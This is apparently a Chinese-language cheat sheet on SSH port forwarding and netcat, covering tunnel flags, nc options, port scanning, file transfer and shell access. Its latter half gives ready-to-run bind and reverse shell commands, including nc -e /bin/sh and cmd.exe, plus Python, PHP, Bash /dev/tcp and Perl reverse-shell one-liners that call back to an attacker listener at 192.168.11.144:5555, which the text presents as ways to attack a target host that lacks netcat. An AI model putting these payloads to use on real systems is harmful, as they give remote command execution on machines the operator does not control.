SSH 端口轉發:
SSH開啟端口轉發需要修改 /etc/ssh/sshd_config配置文件,將 GatewayPorts修改為yes -f 后台執行ssh指令 -C 允許壓縮數據 -N 不執行遠程指令 -R 將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口 -L 本地端口轉發 -D 動態端口轉發 正向代理 ssh -fCNL *:1234:localhost:8888 localhost 反向代理 ssh -fCNR 45.134.xxx.xxx:8822:localhost:3306 root@45.134.xxx.xxx #本地的3306端口轉發到指定的45.134.xxx.xxx的IP上,值得注意的是,轉發過去之后,只能45.134.xxx.xxx去連接,另外一台機子不能通過訪問45.135.xxx.xxx連接來訪問,想要實現這個效果的話需要在45.134.xxx.xxx開正向端口轉發 好多情況下做運維的時候,直接通過ssh轉發把做了白名單才允許訪問的端口通過這種方式本體轉發切換
nc.exe -h //即可看到各參數的使用方法。基本格式: nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port] 參數 作用 -d 后台模式 -e prog 程序重定向,一旦連接就執行 -g<網關> 設置路由器躍程通信網關,最多可設置8個 -G<指向器數目> 設置來源路由指向器,其數值為4的倍數 -h 幫助信息 -i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口 -l 監聽模式,用於入站連接,管控傳入的數據 -L 連接關閉后,仍然繼續監聽 -n 直接使用IP地址,而不通過域名服務器 -o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存 -p<通信端口> 設置本地主機使用的通信端口 -r 隨機指定本地與遠端主機的通信端口 -s <來源地址> 設置本地主機送出數據包的IP地址 -t 使用TELNET交互方式 -u UDP模式 -v 顯示指令執行過程 -w <超時秒數> 設置等待連接的時間 -z 將輸入輸出關掉,只在掃描通信端口時使用 端口的表示方法可寫為 M-N 的范圍格式。 Windows下: 正向連接 服務器執行:nc -l -p 8888 -e cmd.exe 本地主機執行:nc -vv 服務器ip 8888 反向連接 服務器執行:nc -e cmd.exe 公網ip 8888 公網主機執行:nc -lvp 8888 幾種使用方法: 連接到遠程主機命令: nc -nvv Targert_IP Targert_Port 監聽本地主機命令: nc -l -p Local_Port 端口掃描 掃描指定主機的單一端口是否開放命令: nc -v target_IP target_Port 掃描指定主機的某個端口段的端口開放信息命令: nc -v -z Target_IP Target_Port_Start - Target_Port_End 掃描指定主機的某個UDP端口段,並且返回端口信息命令: nc -v -z -u Target_IP Target_Port_Start - Target_Port_End 掃描指定主機的端口段信息,並且設置超時時間為3秒命令: nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End 端口監聽 監聽本地端口命令: nc -l -p local_Port 注:先設置監聽(不能出現端口沖突),之后如果有外來訪問則輸出該詳細信息到命令行 監聽本地端口,並且將監聽到的信息保存到指定的文件中命令: nc -l -p local_Port > target_File 連接遠程系統命令: nc Target_IP Target_Port //之后可以運行HTTP請求 FTP匿名探測命令: nc Targert_IP 21 文件傳輸 傳輸端命令: nc Targert_IP Targert_Port < Targert_File 接收端命令: nc -l Local_Port > Targert_File 通信 本地主機命令: nc -l 8888 遠程主機命令: nc Targert_IP Targert_Port 獲取shell 獲取shell分為兩種,一種是正向shell,一種是方向shell。 如果客戶端連接服務器端,想要獲取服務器端的shell,那么稱為正向shell,如果是客戶端連接服務器,服務器端想要獲取客戶端的shell,那么稱為反向shell 正向shell 本地主機命令: nc Targert_IP Targert_Port 目標主機命令: nc -lvp Targert_Port -e /bin/sh 反向shell 本地主機命令: nc -lvp Target_Port 目標主機命令: nc Targert_IP Targert_Port -e /bin/sh 特殊場景 在一般情況下,目標主機上一般都是不會有Netcat的,此時就需要使用其他替代的方法來實現反向連接達到攻擊主機的目的,下面介紹幾種反向shell的設置。 python反向shell 本地主機: nc -lvp 5555 目標主機端執行語句: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PHP反向shell 本地主機: nc -lvp 5555 目標主機端執行語句: php -r '$sock=fsockopen("192.168.11.144",5555);exec("/bin/sh -i <&3 >&3 2>&3");' Bash反向shell 本地主機: nc -lvp 5555 目標主機端執行語句: bash -i>&/dev/tcp/192.168.11.144/5555 0>&1 Perl反向shell 本地主機: nc -lvp 5555 目標主機端執行語句: perl -e 'use Socket;$i="192.168.11.144";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' [video]